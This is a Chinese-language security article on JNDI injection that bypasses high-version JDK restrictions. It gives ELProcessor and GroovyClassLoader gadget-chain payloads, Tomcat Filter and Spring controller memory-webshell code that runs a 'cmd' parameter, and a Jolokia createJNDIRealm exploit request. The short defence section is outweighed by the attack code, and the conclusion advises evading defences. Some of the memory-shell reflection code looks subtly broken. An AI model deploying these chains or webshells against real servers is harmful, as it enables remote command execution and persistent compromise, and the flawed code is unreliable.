JDK高版本下的JNDI利用以及一些补充
字数 901 2025-08-20 18:18:10
JDK高版本下的JNDI利用及内存马注入技术研究
一、背景与问题概述
在Java安全领域,JNDI注入攻击在JDK高版本(8u191+)中受到限制,传统的远程类加载方式失效。本文针对以下场景:
- 通过Jolokia接口发现的JNDI注入点
- 需要绕过JDK高版本限制
- 实现稳定的内存马注入
二、JDK版本限制分析
1. JDK防御机制演进
- 8u121/8u131:限制RMI远程代码加载
- 8u191:默认禁用LDAP远程代码加载
- 11.0.1:进一步强化限制
2. 关键限制点
com.sun.jndi.ldap.object.trustURLCodebase默认为false- 禁止从远程LDAP服务器加载任意Java类
三、绕过技术研究
1. 利用本地ClassPath中的类
- 寻找存在危险方法的本地类
- 常用类包括:
org.apache.naming.factory.BeanFactoryjavax.el.ELProcessorgroovy.lang.GroovyClassLoader
2. ELProcessor利用链
// 利用EL表达式执行命令
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
3. GroovyClassLoader利用链
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
ref.add(new StringRefAddr("x", "String cmd = \"calc\";@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(cmd)})class X{}"));
四、内存马注入技术
1. Tomcat Filter内存马
// 通过JNDI注入注册Filter
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x",
"var cls = ''.getClass().forName('org.apache.catalina.core.ApplicationFilterConfig');" +
"var field = cls.getDeclaredField('filterDef');" +
"field.setAccessible(true);" +
"var filterDef = ''.getClass().forName('org.apache.tomcat.util.descriptor.web.FilterDef');" +
"var filter = new javax.servlet.Filter() { " +
" public void doFilter(javax.servlet.ServletRequest req, javax.servlet.ServletResponse res, javax.servlet.FilterChain chain) { " +
" try { " +
" if (req.getParameter('cmd') != null) { " +
" java.io.Writer writer = res.getWriter(); " +
" writer.write('<pre>'); " +
" writer.write(new java.util.Scanner(Runtime.getRuntime().exec(req.getParameter('cmd')).getInputStream()).useDelimiter('\\\\A').next()); " +
" writer.write('</pre>'); " +
" writer.flush(); " +
" return; " +
" } " +
" } catch (Exception e) {} " +
" chain.doFilter(req, res); " +
" } " +
"}; " +
"var def = filterDef.newInstance(); " +
"def.setFilter(filter); " +
"def.setFilterName('evilFilter'); " +
"def.addURLPattern('/*'); " +
"var configs = ''.getClass().forName('org.apache.catalina.core.ApplicationContext')" +
" .getMethod('getServletContext').invoke(null)" +
" .getClass().getMethod('getFilterRegistrations').invoke(null); " +
"configs.put('evilFilter', def);"));
2. Spring Controller内存马
// 通过JNDI注入注册Spring Controller
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x",
"var ctx = ''.getClass().forName('org.springframework.web.context.request.RequestContextHolder').getMethod('currentRequestAttributes').invoke(null);" +
"var req = ctx.getClass().getMethod('getRequest').invoke(ctx);" +
"var res = ctx.getClass().getMethod('getResponse').invoke(ctx);" +
"if (req.getParameter('cmd') != null) {" +
" java.io.Writer writer = res.getWriter();" +
" writer.write('<pre>');" +
" writer.write(new java.util.Scanner(Runtime.getRuntime().exec(req.getParameter('cmd')).getInputStream()).useDelimiter('\\\\A').next());" +
" writer.write('</pre>');" +
" writer.flush();" +
"}"));
五、Jolokia接口利用
1. Jolokia JNDI注入点识别
- 查找
/jolokia或/actuator/jolokia端点 - 检查
createJNDIRealm等危险操作
2. 利用方式
POST /jolokia/ HTTP/1.1
Host: target.com
Content-Type: application/json
{
"type": "EXEC",
"mbean": "Tomcat:type=MBeanFactory",
"operation": "createJNDIRealm",
"arguments": ["java:comp/env/evil"]
}
六、防御与检测
1. 防御措施
- 升级JDK至最新版本
- 设置
com.sun.jndi.ldap.object.trustURLCodebase=false - 限制JNDI查找源
- 关闭不必要的JMX/Jolokia接口
2. 内存马检测
- 检查异常Filter/Controller
- 监控动态类加载
- 使用RASP进行防护
七、总结
本文详细分析了高版本JDK下的JNDI利用技术,重点介绍了通过本地类绕过限制的方法和内存马注入的实现。在实际渗透测试中,需要根据目标环境选择合适的利用链,并注意规避防御措施。